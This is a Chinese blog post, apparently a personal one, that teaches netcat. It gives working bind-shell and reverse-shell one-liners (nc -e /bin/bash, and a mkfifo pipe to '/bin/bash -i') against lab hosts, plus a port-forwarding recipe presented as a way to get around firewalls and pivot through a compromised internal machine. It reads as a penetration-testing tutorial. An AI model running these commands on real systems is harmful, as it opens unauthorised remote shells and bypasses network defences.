前言

很久沒有寫部落格了，以至於csdn推出了這麼好用的makedown編輯器都不知道，這樣的寫部落格的感覺真是酸爽啊！自從找到工作以後，人也賴了很多，瞬間長了１０斤的肉。。。說到工作，回想起來找工作的旅程還是很幸運的。為什麼說幸運呢，因為沒有像教研室那幫孩子一樣四處奔跑，準備筆試，準備面試，而是早早的（大概８月份下旬）就把自己給賣了。你問老東家是誰，我還是可以很自豪的說是阿里巴巴：>對於大牛來說BAT可能算不了什麼，但是作為一個非科班出身的程式設計師來說能進BAT還是挺滿意的。希望今後能在阿里把自己的水平提升到一個新的高度！

netcat介紹

netcat是一款知名的網路工具，簡稱nc，有滲透測試中的“瑞士軍刀”之稱。它可以做埠掃描，tcp/udp連線，遠端傳輸檔案，甚至遠端傳輸流媒體，而且還可以實現遠端shell等。總之功能之強大真的讓人咋舌，套用網上的一句話可以概況一下，“你的想象力是侷限nc的瓶頸”，說起來也很好理解，tcp連線都給你建立好了，你想幹嘛還不隨你嘛！

獲取shell

獲取shell分成２種，一種是正向shell，一種是反向shell。這個和ssh實現正向代理與反向代理意思差不多。我的理解是：連線的方向與獲取哪個shell。如果客戶端連線伺服器，想獲取伺服器的shell，那麼稱為正向shell，如果是客戶端連線伺服器，伺服器端想獲取客戶端的shell，那麼稱為反向shell。

正向shell

如果nc帶有-e選項可以直接使用
nc serverIP PORT -e /bin/bash
進行提供遠端shell，這裡我主要講在沒有-e選項的時候，如果用nc實現shell功能。

[email protected] ~ $ mkfifo /tmp/fifo
 
[email protected] ~ $ cat /tmp/fifo | /bin/bash -i 2>&1 | nc -l 8000 > /tmp/fifo

然後在客戶端用

[email protected]:~$ nc 192.168.1.102 8000

然後就能連線成功，並且返回server端的shell。
結果如下：

原理詳解：
1. 建立fifo檔案，管道檔案用於將nc輸出檔案與bash的輸入檔案。
2. cat /tmp/fifo是從fifo讀取資料，將資料通過管道傳給bash。
3. | /bin/bash -i 2>&1這裡需要注意2>&1的意義，這是將２標準錯誤描述符重定向到１標準輸出檔案描述符指向的地方，為什麼是＆１，而不是１呢，這是為了轉義１的意思表示檔案描述符而不是檔名為１。
4. 將bash執行結果輸入到nc輸入中，從而可以傳至客戶端。
5. 在客戶端輸入的命令資料通過服務端的nc輸出重定向到fifo中，在服務端形成一個迴圈。

反向shell

又稱為反彈shell，服務端要獲取客戶端的shell，客戶端在連線上的時候將提供自己的shell功能給服務端。
在服務端輸入：
nc -l 8001
在客戶端輸入：

cat /tmp/fifo | /bin/bash -i 2>&1 | nc 192.168.1.102 8001 > /tmp/fifo

顯示結果如下所示：

netcat實現埠轉發功能

網上介紹netcat的用法的文章實在太多了，這裡我就不重複介紹了，一搜一大堆！這裡介紹一種用netcat實現埠轉發的方法，我在網上搜了半天，並沒有找到相應的實現，多是反彈shell的實現。其實nc做埠轉發的思路和shell功能的實現很相似，只需要稍加改造即可。
為什麼要埠轉發呢？因為防火牆，或者外網訪問內網的原因。比如防火牆不允許訪問本機的3389埠怎麼辦，或者外網要想訪問一臺內網機器怎麼辦。這時埠轉發可以很好的解決這些問題。
1. 對於防火牆禁止訪問某些埠的問題，比如3389埠，我們可以將利用機器的3000埠做埠轉發，從外界接受資料，轉發給本機的3389埠，從而繞過防火牆。
2. 對於無法訪問內網特定機器的問題，我們可以先抓取內網一臺機器，然後利用這臺弱雞進行埠轉發，接受外網的資料，將資料轉發到內網目標機器的特定埠。

實現

下面來看看如何用nc實現簡單的埠轉發。
- 背景：192.168.1.103的msfadmin使用者需要訪問192.168.1.102的8000埠，但是該埠被防火牆保護著，不允許外界機器訪問。目前msfadmin使用者只能訪問192.168.1.102的9000埠。需要9000埠做轉發。
- 目標：msfadmin通過訪問192.168.1.102的9000埠，達到與8000埠通話的目的。
1. 在192.168.1.102上開啟8000埠。
nc -l 8000
2. 在192.168.1.102上實現9000埠轉發。
[email protected] ~ $ cat /tmp/fifo | nc localhost 8000 | nc -l 9000 > /tmp/fifo
3. 在192.168.1.103上連線192.168.1.102的9000埠。
nc -n 192.168.1.102 9000
結果如下圖：

可以看到msfadmin成功的與freestyle4568的8000埠進行了通話，但是實際上連線的是它的9000埠。